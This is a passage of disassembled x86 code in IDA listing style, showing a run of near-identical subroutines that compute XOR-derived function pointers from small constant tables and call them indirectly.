		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AEB90
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AEB90:				; CODE XREF: sub_4AEAFF+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AEAFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AEBFC	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB24o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 7Bh
		mov	[ebp+var_2C], 53h
		mov	[ebp+var_28], 0ABh
		mov	[ebp+var_24], 58h
		mov	[ebp+var_20], 0Bh
		mov	[ebp+var_1C], 0DBh
		mov	[ebp+var_18], 12h
		mov	[ebp+var_14], 7Ah
		mov	[ebp+var_10], 13h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 13h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AEC8D
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AEC8D:				; CODE XREF: sub_4AEBFC+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AEBFC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AECF9	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB28o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 4Ah
		mov	[ebp+var_2C], 0FBh
		mov	[ebp+var_28], 0CEh
		mov	[ebp+var_24], 87h
		mov	[ebp+var_20], 2Eh
		mov	[ebp+var_1C], 0D7h
		mov	[ebp+var_18], 0DEh
		mov	[ebp+var_14], 0D6h
		mov	[ebp+var_10], 4
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 4
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AED8A
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AED8A:				; CODE XREF: sub_4AECF9+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AECF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AEDF6	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB2Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0EDh
		mov	[ebp+var_2C], 36h
		mov	[ebp+var_28], 0B6h
		mov	[ebp+var_24], 43h
		mov	[ebp+var_20], 2
		mov	[ebp+var_1C], 0C8h
		mov	[ebp+var_18], 0A2h
		mov	[ebp+var_14], 49h
		mov	[ebp+var_10], 3
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 3
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AEE87
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AEE87:				; CODE XREF: sub_4AEDF6+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AEDF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AEEF3	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB30o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0E9h
		mov	[ebp+var_2C], 0DEh
		mov	[ebp+var_28], 0C0h
		mov	[ebp+var_24], 3Bh
		mov	[ebp+var_20], 44h
		mov	[ebp+var_1C], 24h
		mov	[ebp+var_18], 0F1h
		mov	[ebp+var_14], 87h
		mov	[ebp+var_10], 3
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 3
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AEF84
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AEF84:				; CODE XREF: sub_4AEEF3+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AEEF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AEFF0	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB34o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0CEh
		mov	[ebp+var_2C], 0Bh
		mov	[ebp+var_28], 88h
		mov	[ebp+var_24], 63h
		mov	[ebp+var_20], 7
		mov	[ebp+var_1C], 5Bh
		mov	[ebp+var_18], 4Ah
		mov	[ebp+var_14], 0E3h
		mov	[ebp+var_10], 13h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 13h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AF081
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AF081:				; CODE XREF: sub_4AEFF0+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AEFF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AF0ED	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB38o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0AAh
		mov	[ebp+var_2C], 56h
		mov	[ebp+var_28], 55h
		mov	[ebp+var_24], 0ACh
		mov	[ebp+var_20], 0D0h
		mov	[ebp+var_1C], 62h
		mov	[ebp+var_18], 1Dh
		mov	[ebp+var_14], 51h
		mov	[ebp+var_10], 0Fh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Fh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AF17E
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AF17E:				; CODE XREF: sub_4AF0ED+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AF0ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AF1EA	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB3Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 4Fh
		mov	[ebp+var_2C], 0E2h
		mov	[ebp+var_28], 0D6h
		mov	[ebp+var_24], 32h
		mov	[ebp+var_20], 16h
		mov	[ebp+var_1C], 73h
		mov	[ebp+var_18], 4Ah
		mov	[ebp+var_14], 1Ch
		mov	[ebp+var_10], 0Bh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Bh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AF27B
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AF27B:				; CODE XREF: sub_4AF1EA+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AF1EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AF2E7	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB40o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0FBh
		mov	[ebp+var_2C], 0E7h
		mov	[ebp+var_28], 33h
		mov	[ebp+var_24], 22h
		mov	[ebp+var_20], 0B3h
		mov	[ebp+var_1C], 20h
		mov	[ebp+var_18], 7Eh
		mov	[ebp+var_14], 0E5h
		mov	[ebp+var_10], 15h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 15h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AF378
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AF378:				; CODE XREF: sub_4AF2E7+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AF2E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AF3E4	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB44o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 8Ah
		mov	[ebp+var_2C], 7Ch
		mov	[ebp+var_28], 0CFh
		mov	[ebp+var_24], 30h
		mov	[ebp+var_20], 34h
		mov	[ebp+var_1C], 4Eh
		mov	[ebp+var_18], 33h
		mov	[ebp+var_14], 9Bh
		mov	[ebp+var_10], 0Eh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Eh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AF475
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AF475:				; CODE XREF: sub_4AF3E4+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AF3E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AF4E1	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB48o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 9Dh
		mov	[ebp+var_2C], 0ACh
		mov	[ebp+var_28], 37h
		mov	[ebp+var_24], 95h
		mov	[ebp+var_20], 0E8h
		mov	[ebp+var_1C], 0B3h
		mov	[ebp+var_18], 3Fh
		mov	[ebp+var_14], 40h
		mov	[ebp+var_10], 11h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 11h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AF572
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AF572:				; CODE XREF: sub_4AF4E1+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AF4E1	endp


